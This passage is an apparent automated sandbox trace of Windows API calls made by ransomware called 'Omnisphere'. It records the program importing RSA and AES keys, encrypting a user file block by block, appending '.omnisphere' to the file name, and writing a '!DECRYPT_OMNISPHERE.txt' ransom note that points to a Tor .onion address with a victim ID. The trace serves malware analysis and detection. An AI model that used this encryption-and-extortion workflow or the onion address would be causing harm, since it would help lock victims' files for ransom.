returned 0x115f8c4 [0126.418] GetTickCount () returned 0x115f8c4 [0126.418] GetTickCount () returned 0x115f8c4 [0126.419] GetTickCount () returned 0x115f8c4 [0126.419] GetTickCount () returned 0x115f8c4 [0126.419] GetTickCount () returned 0x115f8c4 [0126.419] GetTickCount () returned 0x115f8c4 [0126.419] GetTickCount () returned 0x115f8c4 [0126.419] GetTickCount () returned 0x115f8c4 [0126.419] GetTickCount () returned 0x115f8c4 [0126.419] GetTickCount () returned 0x115f8c4 [0126.419] GetTickCount () returned 0x115f8c4 [0126.419] GetTickCount () returned 0x115f8c4 [0126.419] GetTickCount () returned 0x115f8c4 [0126.419] GetTickCount () returned 0x115f8c4 [0126.419] GetTickCount () returned 0x115f8c4 [0126.419] GetTickCount () returned 0x115f8c4 [0126.419] GetTickCount () returned 0x115f8c4 [0126.419] GetTickCount () returned 0x115f8c4 [0126.419] CryptAcquireContextW (in: phProv=0x3e0d254, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0d254*=0x1668570) returned 1 [0126.419] CryptImportKey (in: hProv=0x1668570, pbData=0x3e0d1bc, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d260 | out: phKey=0x3e0d260*=0x1639868) returned 1 [0126.420] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x75, dwBufLen=0x80 | out: pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x80) returned 1 [0126.420] CryptDestroyKey (hKey=0x1639868) returned 1 [0126.420] CryptReleaseContext (hProv=0x1668570, dwFlags=0x0) returned 1 [0126.420] CreateFileMappingW (hFile=0x28c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x459, lpName=0x0) returned 0x288 [0126.420] MapViewOfFile (hFileMappingObject=0x288, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x459) returned 0x1480000 [0126.420] CryptAcquireContextW (in: phProv=0x3e0d244, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0d244*=0x1668240) returned 1 [0126.421] CryptImportKey (in: hProv=0x1668240, pbData=0x3e0d1fc, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d254 | out: phKey=0x3e0d254*=0x1639b68) returned 1 [0126.421] CryptSetKeyParam (hKey=0x1639b68, dwParam=0x4, pbData=0x3e0d238*=0x2, dwFlags=0x0) returned 1 [0126.421] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0d240*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0d240*=0x10) returned 1 [0126.421] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.421] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.421] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.421] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.421] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.421] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.421] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.421] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.421] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.421] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.421] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.421] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.421] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.421] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.421] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.421] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.421] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.422] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.422] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.422] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.422] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.422] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.422] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.422] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.422] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.422] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.422] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.422] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.422] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.422] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.422] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.422] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.422] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.422] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.422] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.422] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.422] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.422] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.422] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.422] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.422] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.422] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.422] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.422] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.423] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.423] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.423] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.423] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.423] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.423] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.423] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.423] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.423] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.423] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.423] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.423] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.423] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.423] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.423] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.423] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.423] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.423] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.423] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.423] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.423] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.423] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.423] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.423] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.423] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.423] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.423] CryptDestroyKey (hKey=0x1639b68) returned 1 [0126.424] CryptReleaseContext (hProv=0x1668240, dwFlags=0x0) returned 1 [0126.424] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x459, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d7c0 | out: lpNewFilePointer=0x0) returned 1 [0126.424] WriteFile (in: hFile=0x28c, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d7d4, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d7d4*=0x524, lpOverlapped=0x0) returned 1 [0126.424] GetProcessHeap () returned 0x1600000 [0126.424] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x2b2) returned 0x16cbf88 [0126.424] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\KhOL-vGQRdUn.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\khol-vgqrdun.lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\KhOL-vGQRdUn.lnk.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\khol-vgqrdun.lnk.omnisphere")) returned 1 [0126.424] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\KhOL-vGQRdUn.lnk.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\KhOL-vGQRdUn.lnk.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\KhOL-vGQRdUn.lnk.omnisphere.id" [0126.424] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\KhOL-vGQRdUn.lnk.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\khol-vgqrdun.lnk.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0126.425] WriteFile (in: hFile=0x3c0, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d25c, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d25c*=0x524, lpOverlapped=0x0) returned 1 [0126.426] CloseHandle (hObject=0x3c0) returned 1 [0126.426] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0126.426] CloseHandle (hObject=0x288) returned 1 [0126.426] SetEndOfFile (hFile=0x28c) returned 1 [0126.426] FlushFileBuffers (hFile=0x28c) returned 1 [0126.429] CloseHandle (hObject=0x28c) returned 1 [0126.429] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\KhOL-vGQRdUn.lnk" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent") returned 1 [0126.429] GetProcessHeap () returned 0x1600000 [0126.429] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x16d8560 [0126.429] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0126.429] GetProcessHeap () returned 0x1600000 [0126.429] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x16d5578 [0126.429] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x16d5578, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0126.429] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0126.429] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0126.429] GetProcessHeap () returned 0x1600000 [0126.429] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x16d8128 [0126.429] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x16d8128, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0126.429] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0126.429] GetProcessHeap () returned 0x1600000 [0126.429] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xb0) returned 0x16bf0d8 [0126.429] PathCombineW (in: pszDest=0x16bf0d8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt" [0126.429] GetProcessHeap () returned 0x1600000 [0126.429] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x16d1ac8 [0126.430] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0126.430] WriteFile (in: hFile=0x28c, lpBuffer=0x16d1ac8*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0d7f4, lpOverlapped=0x0 | out: lpBuffer=0x16d1ac8*, lpNumberOfBytesWritten=0x3e0d7f4*=0x588, lpOverlapped=0x0) returned 1 [0126.430] CloseHandle (hObject=0x28c) returned 1 [0126.430] GetProcessHeap () returned 0x1600000 [0126.430] HeapFree (in: hHeap=0x1600000, 